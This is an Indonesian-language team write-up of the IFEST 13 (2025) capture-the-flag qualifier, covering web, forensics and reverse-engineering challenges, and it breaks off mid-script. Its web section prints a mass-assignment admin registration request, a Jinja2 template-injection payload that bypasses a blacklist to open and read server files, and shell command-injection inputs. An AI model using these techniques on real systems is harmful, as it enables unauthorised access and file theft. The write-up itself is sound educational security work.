# WriteUp Penyisihan Capture The Flag IFEST 13 2025 ## <center>Peserta</center> <center> ![image](https://hackmd.io/_uploads/HJre_70gxx.png) </center> <center><b>Cyrus</b></center> <center><b>Tyzalz</b></center> <center><b>BbayuGt</b></center> Category <a href="#welcome">Welcome</a> * <a href="#Welcome">Welcome</a> <a href="#web">Web Exploitation</a> * <a href="#Web-V1">Web V1</a> * <a href="#Bypass">Bypass</a> * <a href="#Orbiter">Orbiter</a> <a href="#foren">Forensic</a> * <a href="#Ququerer">Ququerer</a> * <a href="#Nugas">Nugas</a> * <a href="#Silent-Trace">Silent Trace</a> <a href="#rev">Reverse Engineering</a> * <a href="#Ququerer">Ququerer</a> * <a href="#Dongo-Cat">Dongo Cat</a> <a href="#crypto">Cryptography</a> * <a href="#Brute">Brute</a> * <a href="#Colorful-Stage-The-Movie-A-Miku-Who-Cant-Sing">Colorful Stage! The Movie: A Miku Who Can't Sing</a> ## <a id="welcome">Welcome</a> ### <center>Welcome</center> <center>100</center> <center>IFEST13{JANGAN_LUPA_BERDOA_SESUAI_KEYAKINAN_MASING_MASING}</center> **Flag: IFEST13{JANGAN_LUPA_BERDOA_SESUAI_KEYAKINAN_MASING_MASING}** ## <a id="web">Web Exploitation</a> ### <center>Web V1</center> <center>230</center> <center>This is my first time making a website using Python!!!! :D</center> diberikan sebuah website yang dapat digunakan untuk login dan membuat akun ![image](https://hackmd.io/_uploads/HkkHhl0geg.png) Dengan melihat source code /register ```python= @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': data = request.form.to_dict() data['password'] = hash_password(data['password']) user = User(**data) db.session.add(user) db.session.commit() return redirect('/login') return render_template('register.html') ``` bisa dilihat jika user dibuat tanpa ada validasi pada data `**data`, yang berarti kita bisa membuat akun dengan `is_admin=1` dengan memodifikasi request dengan fetch: ```javascript= fetch("http://xxx:12312/register", { "headers": { "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-language": "en-GB,en;q=0.9", "cache-control": "no-cache", "content-type": "application/x-www-form-urlencoded", "pragma": "no-cache", "sec-gpc": "1", "upgrade-insecure-requests": "1" },, "referrerPolicy": "strict-origin-when-cross-origin", "body": "username=aaaa&password=a&is_admin=1", "method": "POST", "mode": "cors", "credentials": "include" }); ``` setelah login sebagai admin, kita mendapatkan akses ke halaman admin fetcher, pada admin fetcher, kita dapat melakukan fetch endpoint internal `http://127.0.0.1:1337/internal` ```python @app.route('/internal') def internal(): if request.remote_addr != '127.0.0.1': abort(403) return "Flag: IFEST13{fake_flag}" ``` tetapi, harus ada hostname daffainfo.com, ![image](https://hackmd.io/_uploads/B1ifAeAlgx.png) ```python if 'daffainfo.com' not in url: result = "Error: Only URLs with hostname 'daffainfo.com' are allowed." ``` sepertinya tidak perlu hostname, yang penting ada di url, kita bisa merubah jadi `http://127.0.0.1:1337/internal?a=daffainfo.com` **Flag: IFEST13{4b0a3c7d05927b28970fdfffe803e7fb}** ### <center>Bypass</center> <center>400</center> <center>It's obvious, but can you bypass it to win the reward?</center> #### Deskripsi Soal Diberikan sebuah aplikasi web yang berjalan di `http://xxx.xxx.xxx.xxx:8888`. Deskripsi tantangan adalah "It's obvious, but can you bypass it to win the reward?". Kita juga diberikan arsip `bypass.zip` yang berisi kode sumber aplikasi. **Struktur File dari `bypass.zip`:** `` D:. │ app.py │ ├───reward │ flag.txt │ ├───static │ blog.css │ └───templates index.html ` #### Analisis Kode Sumber (`app.py`) Kode `app.py` menggunakan Flask dan memiliki fitur utama sebagai berikut: 1. Menerima parameter `title` dan `content` dari query string GET. 2. Memiliki fungsi `filter(data)` yang memeriksa apakah input `data` mengandung kata-kata dalam `blacklist_words` atau cocok dengan pola dalam `additional_check` (yang efektif mencari `_` atau `__`). * `blacklist_words = ['.', '[', ']', '{{', '}}', '"', 'os', 'modules', 'base', 'import', 'application', 'builtins', "*"]` * `additional_check` dicompile menjadi regex yang mencari `_` atau `__` di awal string (karena `re.match` digunakan). 3. Jika filter mendeteksi input berbahaya, `title` dan `content` akan di-overwrite dengan pesan error. 4. Jika input lolos filter, `title` dan `content` akan dirender menggunakan `render_template_string()`. Ini adalah titik kerentanan Server-Side Template Injection (SSTI) jika filter dapat dilewati. 5. Hasil render kemudian dimasukkan ke dalam `index.html` menggunakan `{{ title | safe }}` dan `{{ content | safe }}`. Penggunaan filter `safe` berarti output dari `render_template_string` tidak akan di-escape HTML-nya, yang penting untuk SSTI agar bisa mengeksekusi kode template. 6. File `flag.txt` berada di direktori `reward/` relatif terhadap direktori aplikasi. **Kerentanan Utama:** Server-Side Template Injection (SSTI) pada `render_template_string(title)` dan `render_template_string(content)`. Tujuannya adalah untuk membuat payload SSTI yang dapat membaca file (`../reward/flag.txt`) tanpa terdeteksi oleh fungsi `filter`. **Analisis Filter:** * Kata-kata seperti `.` (titik), `[` (kurung siku buka), `]` (kurung siku tutup), `{{`, `}}`, `"` (kutip ganda), `os`, `modules`, `base`, `import`, `application`, `builtins`, dan `*` (asterisk) ada dalam daftar hitam. * Karakter `_` (garis bawah tunggal) dan `__` (garis bawah ganda) juga diblokir jika muncul di awal input oleh `additional_check.match(data)`. Ini penting karena banyak objek dan atribut internal Python/Jinja2 menggunakan garis bawah (misalnya, `__class__`, `__globals__`, `__builtins__`). **Bypass Filter:** Karena `_` diblokir di awal, kita tidak bisa langsung menggunakan `__class__` atau `__globals__`. Namun, filter `additional_check` menggunakan `re.match(data)` yang hanya memeriksa kecocokan di *awal* string. Ini berarti jika `_` atau `__` tidak berada di awal payload, mereka mungkin lolos. Namun, dalam payload SSTI, kita seringkali membutuhkan akses ke atribut-atribut ini. Alternatif untuk mengakses atribut adalah menggunakan filter Jinja2 `attr()`. Misalnya, `request|attr('__class__')` setara dengan `request.__class__` tetapi tidak menggunakan `.` atau `_` secara langsung dalam cara yang mungkin diblokir oleh filter sederhana (meskipun `__class__` sendiri akan menjadi masalah karena `__`). Payload yang berhasil pada akhirnya menggunakan `request|attr('args')|attr('get')('nama_parameter')` untuk memasukkan string yang mengandung karakter terlarang (seperti `__builtins__` atau `open`) melalui parameter URL tambahan, sehingga payload utama untuk parameter `title` tidak langsung mengandung string tersebut. #### Metode Solusi Karena filter cukup ketat, solusi melibatkan konstruksi payload SSTI yang cermat untuk melewati batasan filter. Skrip `solver.py` yang diberikan mencoba berbagai payload secara sistematis. Kunci untuk payload yang berhasil adalah: 1. Menggunakan objek `request` yang tersedia dalam konteks template Jinja2. 2. Menggunakan filter `|attr('nama_atribut')` untuk mengakses atribut objek tanpa menggunakan karakter `.` (titik) yang diblokir. 3. Menggunakan `|attr('get')(kunci)` untuk mengakses item dari dictionary (seperti `__globals__` atau `__builtins__`) tanpa menggunakan `[]` (kurung siku) yang diblokir. 4. Memasukkan string yang mengandung karakter terlarang (seperti `__builtins__`, `open`, `read`, dan path file) melalui parameter URL tambahan (misalnya, `b_arg`, `o_arg`, `r_arg`, `f_arg`) dan mengambilnya di dalam template menggunakan `request|attr('args')|attr('get')('nama_arg')`. Payload SSTI yang berhasil untuk membaca file adalah: ```jinja2 {% set b = request|attr('args')|attr('get')('b_arg') %} {% set o = request|attr('args')|attr('get')('o_arg') %} {% set r = request|attr('args')|attr('get')('r_arg') %} {% set fl = request|attr('args')|attr('get')('f_arg') %} {% print request|attr('__init__')|attr('__globals__')|attr('get')(b)|attr('get')(o)(fl)|attr(r)() %} ``` Dengan parameter tambahan: * `b_arg=__builtins__` * `o_arg=open` * `r_arg=read` * `f_arg=../reward/flag.txt` Mari kita bedah payload ini: * `{% set b = request|attr('args')|attr('get')('b_arg') %}`: Mendapatkan string `__builtins__` dari parameter URL `b_arg` dan menyimpannya ke variabel `b`. Ini melewati filter karena `__builtins__` tidak ada di payload `title` secara langsung. Hal yang sama berlaku untuk `o`, `r`, dan `fl`. * `request|attr('__init__')`: Mengakses metode `__init__` dari objek `request`. * `|attr('__globals__')`: Dari objek `__init__` (yang merupakan fungsi), kita mengakses atribut `__globals__`, yang merupakan dictionary berisi semua variabel global yang tersedia untuk fungsi tersebut, termasuk `__builtins__`. * `|attr('get')(b)`: Mengambil `__builtins__` dari dictionary `__globals__` menggunakan `b` (yang berisi string `__builtins__`). Ini setara dengan `__globals__['__builtins__']`. * `|attr('get')(o)`: Mengambil fungsi `open` dari `__builtins__` menggunakan `o` (yang berisi string `open`). Ini setara dengan `__builtins__['open']`. * `(fl)`: Memanggil fungsi `open` dengan argumen `fl` (yang berisi path ke file, misalnya `../reward/flag.txt`). Ini mengembalikan objek file. * `|attr(r)()`: Memanggil metode `read` pada objek file menggunakan `r` (yang berisi string `read`). Ini membaca konten file. * `{% print ... %}`: Mencetak hasil (konten file) ke output template. #### Eksploitasi dan Hasil Skrip `solver.py` melakukan serangkaian pengujian: 1. **Permintaan Dasar:** Mengonfirmasi fungsionalitas dasar. 2. **Tes SSTI Sederhana (Penjumlahan, Penggabungan String):** Mengonfirmasi bahwa SSTI dasar bekerja. 3. **Tes Filter (Perkalian `*`):** Mengonfirmasi bahwa filter memblokir karakter `*`. 4. **Tes Akses `request.args`:** Mengonfirmasi bahwa kita dapat mengambil parameter dari URL di dalam template. 5. **Tes LFI dengan `{% include ... %}`:** * Mencoba `{% include request|attr('args')|attr('get')('f') %}` dengan `f=../app.py`. Ini menghasilkan **Error** di server. Ini menunjukkan bahwa `include` mungkin tidak berfungsi seperti yang diharapkan atau ada batasan tambahan. * Mencoba dengan `f=../reward/flag.txt` juga menghasilkan **Error**. 6. **Tes SSTI dengan `open().read()` (Payload yang dibedah di atas):** * Ketika mencoba membaca `../app.py` (`f_arg=../app.py`): Output menunjukkan bahwa payload ini **lolos dari filter awal aplikasi** (tidak "Oops...") tetapi konten `app.py` yang dirender **terfilter oleh filter aplikasi itu sendiri saat ditampilkan**. Server merender konten `app.py`, namun karena kode `app.py` mengandung karakter seperti `.` dan `_`, filter `filter(title)` (di mana `title` sekarang adalah kode `app.py`) kembali terpicu, dan output yang sebenarnya ditampilkan adalah "Oops...". Ini mengindikasikan bahwa SSTI-nya berhasil, tetapi *output* dari SSTI tersebut kemudian difilter. Skrip solver salah menginterpretasikan ini sebagai "TERFILTER" padahal SSTI-nya sukses hanya saja outputnya yang terfilter. **Poin penting di sini adalah SSTI-nya berhasil, hanya saja `app.py` sendiri mengandung karakter yang diblokir oleh filter saat *outputnya* dirender.** * Ketika mencoba membaca `../reward/flag.txt` (`f_arg=../reward/flag.txt`): Output skrip menunjukkan: ![image](https://hackmd.io/_uploads/HyK_OMAgll.png) Ini adalah flagnya. Payload SSTI berhasil membaca `flag.txt`, dan karena konten flag (`IFEST13{SSTI_byp4ss_f1lt3rs_to_w1n_R3W4RD}`) tidak mengandung karakter yang diblokir oleh filter utama, flag tersebut berhasil dirender dan ditampilkan. ![image](https://hackmd.io/_uploads/ryPcdMClge.png) #### Flag Flag yang berhasil didapatkan adalah: `IFEST13{SSTI_byp4ss_f1lt3rs_to_w1n_R3W4RD}` ### <center>Orbiter</center> <center>430</center> <center>3 people go to the moon, keep in communication with them</center> Diberikan sebuah URL http://xxx.xxx.xxx.xxx:8181/ di dalam URL ini berisi dengan Login Page. ![image](https://hackmd.io/_uploads/HJLAtWCegg.png) Disini kita tidak tahu Username atau Password apa yang harus kita input, dan juga tidak ada tempat untuk register juga. Disini saya melihat pada URL tersebut menggunakan index.php yang berarti website ini menggunakan PHP. Lalu saya mencoba mengaccess phpinfo.php ternyata bisa, lalu saya mencoba mencari informasi yang mungkin bisa saya gunakan. Pada phpinfo.php saya menemukan ID, Pass, dan Secret-Flag ![image](https://hackmd.io/_uploads/H1Vd9-Rggx.png) Disini saya mencoba untuk mendecode Secret-Flag nya. ```python= hex_string = "0x4e,0x54,0x55,0x67,0x4e,0x32,0x45,0x67,0x4e,0x44,0x49,0x67,0x4e,0x54,0x4d,0x67,0x4e,0x54,0x49,0x67,0x4e,0x6d,0x51,0x67,0x4e,0x47,0x55,0x67,0x4e,0x44,0x59,0x67,0x4e,0x47,0x51,0x67,0x4e,0x54,0x51,0x67,0x4e,0x57,0x45,0x67,0x4e,0x54,0x59,0x67,0x4e,0x6a,0x49,0x67,0x4e,0x44,0x59,0x67,0x4e,0x47,0x45,0x67,0x4e,0x54,0x6b,0x67,0x4e,0x54,0x59,0x67,0x4e,0x6d,0x51,0x67,0x4e,0x7a,0x41,0x67,0x4e,0x7a,0x4d,0x67,0x4e,0x54,0x55,0x67,0x4e,0x6d,0x4d,0x67,0x4e,0x54,0x49,0x67,0x4e,0x54,0x6b,0x67,0x4e,0x6a,0x4d,0x67,0x4e,0x44,0x59,0x67,0x4e,0x47,0x45,0x67,0x4e,0x47,0x55,0x67,0x4e,0x54,0x59,0x67,0x4e,0x6d,0x51,0x67,0x4e,0x54,0x49,0x67,0x4e,0x54,0x4d,0x67,0x4e,0x54,0x55,0x67,0x4e,0x44,0x59,0x67,0x4e,0x54,0x45,0x67,0x4e,0x7a,0x63,0x67,0x4e,0x54,0x41,0x67,0x4e,0x54,0x45,0x67,0x4d,0x32,0x51,0x67,0x4d,0x32,0x51,0x3d" hex_string = hex_string.replace('0x', '').replace(',', '') byte_array = bytes.fromhex(hex_string) decoded_string = byte_array.decode('ascii', errors='ignore') decoded_string ``` Hasilnya NTUgN2EgNDIgNTMgNTIgNmQgNGUgNDYgNGQgNTQgNWEgNTYgNjIgNDYgNGEgNTkgNTYgNmQgNzAgNzMgNTUgNmMgNTIgNTkgNjMgNDYgNGEgNGUgNTYgNmQgNTIgNTMgNTUgNDYgNTEgNzcgNTAgNTEgM2QgM2Q= ![image](https://hackmd.io/_uploads/rJimRbRleg.png) 55 7a 42 53 52 6d 4e 46 4d 54 5a 56 62 46 4a 59 56 6d 70 73 55 6c 52 59 63 46 4a 4e 56 6d 52 53 55 46 51 77 50 51 3d 3d ![image](https://hackmd.io/_uploads/rJ77xG0gex.png) ![image](https://hackmd.io/_uploads/ry_Nxf0xll.png) ![image](https://hackmd.io/_uploads/SkbHxGCggx.png) ![image](https://hackmd.io/_uploads/BJurefCglg.png) Dapet Flag part 1 nya : (1)34SY_P345Y Untuk yang part 2 nya tinggal kita ambil dari value token JWT nya ![image](https://hackmd.io/_uploads/B1yfzMCggl.png) ![image](https://hackmd.io/_uploads/SJDMMGRxgg.png) Dapet Flag part 2 nya : (2)_L3M0N_ Untuk yang part 3 nya tinggal Command Injection di Communication Checker nya ```127.0.0.1;ls``` ![image](https://hackmd.io/_uploads/r1mTlzCxxg.png) ```127.0.0.1;cat true_flag.txt``` ![image](https://hackmd.io/_uploads/HkjQbfCxel.png) Dapet Flag part 3 nya : (3)5QU332Y **Flag: IFEST13{345Y_P34SY_L3M0N_5QU332Y}** ## <a id="foren">Forensic</a> ### <center>Ququerer</center> <center>260</center> <center>permisi paket, mau bayar cash apa qris?</center> ![image](https://hackmd.io/_uploads/BJkRm-Cggg.png)</center> Diberikan sebuah file pcap. Saya langsung mencoba menganalisa file pcap tersebut dengan menggunakan https://gchq.github.io/CyberChef/. ![image](https://hackmd.io/_uploads/HJNtN-Cxll.png) Setelah saya extract files pcap tersebut dengan CyberChef ternyata ada 84 File image yang ada di dalem file pcap tersebut. Lalu saya mengambil semua file png tersebut. ![image](https://hackmd.io/_uploads/Hyn4Hb0lee.png) Setelah saya liat sekilas ini adalah seperti gambar code QR yang terpotong ke banyak part secara vertical. Disini saya langsung membuat python script yang akan menyatukan potongan potongan code QR tersebut. ```python= from PIL import Image import os import glob def solve_qr(image_folder, output_path): png_files = sorted(glob.glob(os.path.join(image_folder, '*.png'))) images = [Image.open(png) for png in png_files] total_height = sum(img.height for img in images) total_width = images[0].width reconstructed_qr_vertical = Image.new('RGB', (total_width, total_height), 'white') current_height = 0 for img in images: reconstructed_qr_vertical.paste(img, (0, current_height)) current_height += img.height reconstructed_qr_vertical.save(output_path) print(f"QR code saved at: {output_path}") return output_path image_folder = './extracted' output_path = 'vertical_qr.png' solve_qr(image_folder, output_path) ``` Setelah di run dengan solver tersebut, akan terbuatnya file vertical_qr.png yang dimana vertical_qr.png adalah gabungan dari potongan potongan file qr yang ada di folder ./extracted. ![vertical_qr](https://hackmd.io/_uploads/B1rsIbAlxx.png) Setelah itu kita bisa coba scan dari code QR ini dan akan mendapatkan flag dari challenge ini. ![image](https://hackmd.io/_uploads/HyEkwbAege.png) **Flag: IFEST13{M4ST3R_R3CONSTRUCT0R_PACK3T}** ### <center>Nugas</center> <center>340</center> <center>Kalian kalo nugas sambil buka ppt ga?? :D</center> #### Deskripsi Soal Diberikan sebuah file `slides.pptx`. Deskripsi tantangan adalah "Kalian kalo nugas sambil buka ppt ga?? \:D". #### Analisis dan Langkah-langkah 1. **Membuka File PPTX dan Notifikasi Kerusakan:** Ketika file `slides.pptx` dibuka menggunakan Microsoft PowerPoint, muncul notifikasi: "PowerPoint found a problem with content in C:\Users\msi\Documents\ifest\slides.pptx. PowerPoint can attempt to repair the presentation. If you trust the source of this presentation, click Repair." Ini mengindikasikan bahwa file tersebut mungkin sengaja dirusak atau memiliki konten yang tidak standar yang menyebabkan PowerPoint mendeteksinya sebagai masalah. ![image](https://hackmd.io/_uploads/HJAtmG0xee.png) 2. **Memperbaiki File PPTX:** Mengklik tombol "Repair" berhasil membuka presentasi. Presentasi tersebut terdiri dari 10 slide. 3. **Eksplorasi Konten Slide dan Catatan Pembicara:** Setelah memeriksa slide-slide, pada slide ke-8 ditemukan catatan pembicara (speaker notes) yang berisi teks: `PLEASE REMOVE THIS FROM SPEAKER NOTES: B3stP@$$w0rd1sH3lloWorld` String `B3stP@$$w0rd1sH3lloWorld` ini terlihat seperti sebuah kata sandi. ![image](https://hackmd.io/_uploads/B1p3QGAegx.png) 4. **Mengekstrak File PPTX:** File `.pptx` pada dasarnya adalah sebuah arsip ZIP yang berisi berbagai file XML dan sumber daya lainnya. Dengan mengubah ekstensi file menjadi `.zip` atau menggunakan alat ekstraksi arsip, konten file `slides.pptx` dapat diekstrak. Struktur folder hasil ekstraksi adalah sebagai berikut (diringkas): ``` . ├── [Content_Types].xml ├── ppt │ ├── media │ │ ├── docs.zip <-- File yang menarik perhatian │ │ ├── image1.jpg │ │ └── ... │ ├── notesSlides │ │ ├── notesSlide8.xml <-- Catatan pembicara mungkin ada di sini juga │ │ └── ... │ ├── slides │ │ └── ... │ └── ... └── _rels ``` 5. **Menemukan Arsip Terlindungi Kata Sandi:** Di dalam direktori `ppt/media/`, ditemukan sebuah file arsip `docs.zip`. Ketika mencoba mengekstrak `docs.zip`, arsip tersebut ternyata dilindungi oleh kata sandi. 6. **Menggunakan Kata Sandi yang Ditemukan:** Kata sandi yang ditemukan pada catatan pembicara di slide 8, yaitu `B3stP@$$w0rd1sH3lloWorld`, digunakan untuk mengekstrak `docs.zip`. 7. **Mengekstrak File PDF:** Ekstraksi `docs.zip` berhasil dan menghasilkan sebuah file bernama `Meeting.pdf`. 8. **Analisis Awal File PDF:** Ketika `Meeting.pdf` dibuka, file tersebut tampak hanya berisi satu halaman konten informasi. Namun, ada kejanggalan pada nomor 3 yang terlihat terpotong, menimbulkan dugaan bahwa PDF tersebut mungkin memiliki lebih dari satu halaman tetapi mengalami kerusakan atau pemotongan. Mencoba membuka file dengan Adobe PDF Reader juga sempat menampilkan pesan singkat mengenai kerusakan file ("this pdf corrupt"). ![image](https://hackmd.io/_uploads/HJlf4f0elx.png) 9. **Memperbaiki File PDF:** Karena ada indikasi kerusakan, file `Meeting.pdf` coba diperbaiki menggunakan alat perbaikan PDF online, misalnya [https://www.ilovepdf.com/repair-pdf](https://www.ilovepdf.com/repair-pdf). 10. **Menemukan Flag pada PDF yang Telah Diperbaiki:** Setelah proses perbaikan, dihasilkan file baru (misalnya, `Meeting_repaired.pdf`). Ketika file PDF yang telah diperbaiki ini dibuka, ternyata benar file tersebut memiliki dua halaman. Halaman kedua yang sebelumnya tidak terlihat kini dapat diakses dan berisi flag dari tantangan ini. ![image](https://hackmd.io/_uploads/HJGLNfRxeg.png) #### Flag Flag yang ditemukan pada halaman kedua dari file `Meeting_repaired.pdf` adalah: **IFEST13{B3_H0N3ST_H0W_M4NY_T1M3S_Y0U_R4N_R0CKY0U** ### <center>Silent Trace</center> <center>390</center> <center>A few days before he disappeared, a UI designer sent a project drawing to the security team, accompanied by a strange note: “Three cards appear in my dreams, The Magician, The Moon, and The Hermit. The letters dance, but only if you know which string to pull.” The drawing holds several clues. Some seem ordinary, but one of them records a trail that leads to a deeper communication, as if there is a hidden story behind it. The trail leads you to a hidden message. Not a sound, not an image, just a small movement captured by an old device. Can you follow the movement to the end?</center> --- #### Deskripsi Challenge Beberapa hari sebelum menghilang, seorang desainer UI mengirimkan gambar proyek ke tim keamanan, disertai catatan aneh: “Tiga kartu muncul dalam mimpiku, The Magician, The Moon, dan The Hermit. Huruf-hurufnya menari, tetapi hanya jika kamu tahu tali mana yang harus ditarik.” Gambar tersebut menyimpan beberapa petunjuk. Beberapa tampak biasa, tetapi salah satunya merekam jejak yang mengarah ke komunikasi yang lebih dalam, seolah-olah ada cerita tersembunyi di baliknya. Jejak itu membawamu ke pesan tersembunyi. Bukan suara, bukan gambar, hanya gerakan kecil yang ditangkap oleh perangkat lama. Bisakah kamu mengikuti gerakan itu sampai akhir? #### Langkah-langkah Penyelesaian 1. **Analisis Awal File `chal.jpeg`** File yang diberikan adalah `chal.jpeg`. Langkah pertama dalam forensik file adalah memeriksa signature dan kemungkinan adanya file tersembunyi. Kita menggunakan `binwalk` untuk ini: ```bash binwalk chal.jpeg ``` Output dari `binwalk` menunjukkan bahwa selain data gambar JPEG, terdapat banyak arsip Zip yang disematkan di dalamnya: ![image](https://hackmd.io/_uploads/SJBUzXRexe.png) 2. **Ekstraksi File Tersembunyi** Karena `binwalk` mendeteksi adanya arsip Zip, kita dapat mengekstraknya. Salah satu cara adalah menggunakan perintah `binwalk -e chal.jpeg` atau `foremost chal.jpeg`. Setelah diekstraksi, kita mendapatkan direktori berisi banyak file dengan ekstensi `.log`: ```bash ls _chal.jpeg.extracted/ # atau direktori output lainnya ``` ![image](https://hackmd.io/_uploads/rJJNG70xlg.png) 3. **Menggabungkan dan Menganalisis Log** Untuk mempermudah analisis, semua file `.log` digabungkan menjadi satu file besar, misalnya `all_logs_combined.log`: ```bash cat *.log > all_logs_combined.log ``` Isi dari `all_logs_combined.log` sangat beragam, mencakup berbagai format log seperti: * Sysmon Event Logs (XML) * DHCP server logs * Kerberos KDC logs * VPN (OpenVPN/Charon) logs * IIS web server logs * Firewall (iptables/UFW) logs * Linux system logs (auditd, cron, sshd, kernel messages) * Kubernetes audit logs (JSON) * AWS CloudTrail logs (JSON) * Mail server logs (Postfix, Exim, Sendmail) * BIND DNS query logs * Windows Security Event logs * MySQL logs * Generic application logs * FTP server logs (vsftpd, proftpd) * Apache error logs * IDS (Snort/Suricata-like) logs * PostgreSQL logs * Nginx access logs * Docker daemon logs Sesuai dengan petunjuk "huruf-hurufnya menari, tetapi hanya jika kamu tahu tali mana yang harus ditarik" dan "salah satunya merekam jejak yang mengarah ke komunikasi yang lebih dalam", kita perlu mencari petunjuk atau "tali" di dalam log-log ini. Mengingat nama author challenge (`p0t4rr`), kita dapat mencoba mencari nama tersebut atau URL yang mencurigakan. 4. **Menemukan Jejak di Log Nginx** Setelah menelusuri `all_logs_combined.log`, sebuah entri menarik ditemukan di dalam log akses Nginx (atau Apache, tergantung interpretasi formatnya, namun pola timestamp dan referer mengarah ke web log). Salah satu baris log yang mencolok adalah: ``` 10.0.0.150 - - [09/May/2025:10:13:45 +0700] "GET /old_page.html HTTP/1.1" 301 250 "https://gist.github.com/p0t4rr/4d640e286632fa9827e14b8343738acf" "Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1" ``` Entri ini signifikan karena: * Memuat URL `gist.github.com`. * Username pada URL Gist (`p0t4rr`) sama dengan author challenge. * URL Gist tersebut ada di kolom *referer*, yang mengindikasikan bahwa halaman `/old_page.html` diakses setelah pengguna mengunjungi Gist tersebut. 5. **Mengikuti Jejak ke GitHub Gist** Mengunjungi URL Gist: `https://gist.github.com/p0t4rr/4d640e286632fa9827e14b8343738acf` Halaman Gist ini sendiri mungkin tidak langsung berisi flag. Namun, Gist di GitHub memiliki fitur **Revisions** (Riwayat Revisi) yang menyimpan perubahan pada Gist tersebut. Dengan memeriksa riwayat revisi, kita menemukan sebuah revisi yang dibuat "2 days ago" (relatif terhadap waktu pembuatan challenge) yang berisi perubahan menarik: ![image](https://hackmd.io/_uploads/SyAi-XAgeg.png) Link Google Drive yang ditemukan adalah: `https://drive.google.com/drive/folders/1o8veZnn8tJJDLn1NgDjQrkriMTo9uNJD?usp=sharing` 6. **Mengakses Google Drive** Membuka link Google Drive tersebut mengarahkan kita ke sebuah folder yang berisi file bernama `challenge.pcapng`. Ini adalah file capture jaringan yang kemungkinan besar berisi "gerakan kecil yang ditangkap oleh perangkat lama" seperti yang disebutkan dalam deskripsi challenge. ![image](https://hackmd.io/_uploads/Bk7FbXCeex.png) --- Sampai di sini, kita telah berhasil mengikuti jejak dari file JPEG awal, melalui log yang diekstraksi, hingga menemukan file `challenge.pcapng` yang menjadi artefak utama untuk analisis selanjutnya. Analisis file `.pcapng` akan menjadi fokus berikutnya. Kita mendapatkan file .pcapng yang berisi aktifitas USB. Pada paket `GET DESCRIPTOR Response DEVICE`, bisa dilihat jika USB ini adalah aktifitas HID Mouse ![image](https://hackmd.io/_uploads/HylnQ-Aggg.png) Jika dilihat dari [Wikidev](https://wiki.osdev.org/USB_Human_Interface_Devices#Report_format_2), diketahui jika data dari HiD adalah: | Offset | Size | Desc | | ------ | ---- | ------------- | | 0 | Byte | Button Status | | 1 | Byte | X Movement | | 2 | Byte | Y movement | ![image](https://hackmd.io/_uploads/Bk-fNW0exx.png) Bisa dilihat pada `usbhid.data`, ada 4 offset yang kemungkinan sama pada tabel diatas, tetapi offset 0 selalu `00000000`, akan saya asumsikan jika mouse selalu klik. ![image](https://hackmd.io/_uploads/BybiNb0lel.png) dengan menggunakan tshark, kita bisa mengekstrak usbhid.data nya ```shell tshark -r ~/Downloads/challenge.pcapng -Y "usb.src == "1.1.1"" -T fields -e usbhid.data > file.txt ``` dengan menggunakan [recipe ini](https://cyberchef.org/#recipe=Fork('%5C%5Cn',',',false)Find_/_Replace(%7B'option':'Regex','string':'%5E..(..)(..)(..)$'%7D,'(0x$1,%200x$2%20,0x$3)',true,false,true,false)), kita akan mendapatkan ``` (0xff, 0xff ,0x00),(0xfb, 0xff ,0x00) ... ``` Dengan menggunakan script ini ```python= from PIL import Image mouse_events = [(0xff, 0xff ,0x00),(0xfb, 0xff ,0x00), ...] # Make the image big because we don't know how long the message is img = Image.new('RGB', (10000, 10000), color='white') canvas = img.load() # Start the cursor in the middle of the canvas mouse_x = 5000 mouse_y = 5000 for data in mouse_events: # Get the left mouse button status left_button_pressed = 1 # Get the mouse movement in x and y x_offset = int.from_bytes(data[0:1], "big", signed=True) y_offset = int.from_bytes(data[1:2], "big", signed=True) mouse_x += x_offset mouse_y += y_offset if left_button_pressed: # These two for loops are to make the pixels thicker for i in range(5): for j in range(5): # Write a black pixel on the canvas canvas[round(mouse_x) + i, round(mouse_y) + j] = (0, 0, 0) # Save the image to disk img.save("final.png") ``` kita mendapatkan foto ini: ![image](https://hackmd.io/_uploads/By5T8ZRexg.png) [Reference](https://res260.medium.com/usb-pcap-forensics-graphics-tablet-nsec-ctf-2021-writeup-part-2-3-9c6265ca4c40) **Flag: IFEST13{1_l1k3_dr4w1ng}** ## <a id="rev">Reverse Engineering</a> ### <center>Free Flag</center> <center>290</center> <center>Mr. Shock is feeling generous today, so here's an attached program that will give you the flag. <a href="https://streetcat.wiki/index.php/Mr._Shock">Just in case you don't know who this generous person is.</a></center> Diberikan sebuah executable yang telah di pack menggunakan UPX, kita dapat mengunpack menggunakan `upx -d freeflag -o freeflag-u`. Setelah membuka di ghidra, dapat ditemukan kode sebagai berikut ![image](https://hackmd.io/_uploads/BJ5iW-0gex.png) Dengan menggunakan AI, kita dapat menkopas kode tersebut beserta variable `flag_enc` 🤤 ![image](https://hackmd.io/_uploads/H1XgfWAxll.png) dan mendapatkan kode ini ```python= DAT_00402360_values = [ 0x00004946, 0x0000cff9, 0x0001a4f5, 0x0001685d, 0x000430cb, 0x0004a8a4, 0x0004d896, 0x0002d339, 0x0006eb41, 0x00082e3b, 0x0007cf05, 0x000afe89, 0x000a0122, 0x00056661, 0x000ac88d, 0x000d5d81, 0x000df251, 0x000df8f9, 0x000dcb9f, 0x00075e79, 0x0008dfa8, 0x000843e7, 0x0010bb9d, 0x00167771, 0x00151730, 0x000b07ed, 0x0017d8f0, 0x00147eea, 0x00196d5b, 0x000bd6e5, 0x000c7c4e, 0x000d958d, 0x001d0a1f, 0x000db844, 0x001d3db1, ] def decode_flag(dat_values): if len(dat_values) != 35: print(f"Error: Expected 35 data values, got {len(dat_values)}") return None flag_chars = [0] * 70 # 70 characters for i in range(35): # Corresponds to uVar2 / 2 uVar2 = i * 2 expected_val_from_data = dat_values[i] # This is (uVar2 + 1) from the C code's calculation: # uVar1 = (uVar2 + 1) * ((long)local_41a + (long)local_41b * 0x100); divisor = uVar2 + 1 if expected_val_from_data % divisor != 0: print(f"Error: expected_val_from_data {expected_val_from_data} (at index {i}, uVar2={uVar2}) is not divisible by {divisor}") # In a real scenario, this would mean an error or wrong data. # For this exercise, we'll assume data is correct. return None # This is ((long)local_41a + (long)local_41b * 0x100) # which is (char1_value * 0x100 + char2_value) pair_value_16bit = expected_val_from_data // divisor if not (0 <= pair_value_16bit <= 0xFFFF): print(f"Error: 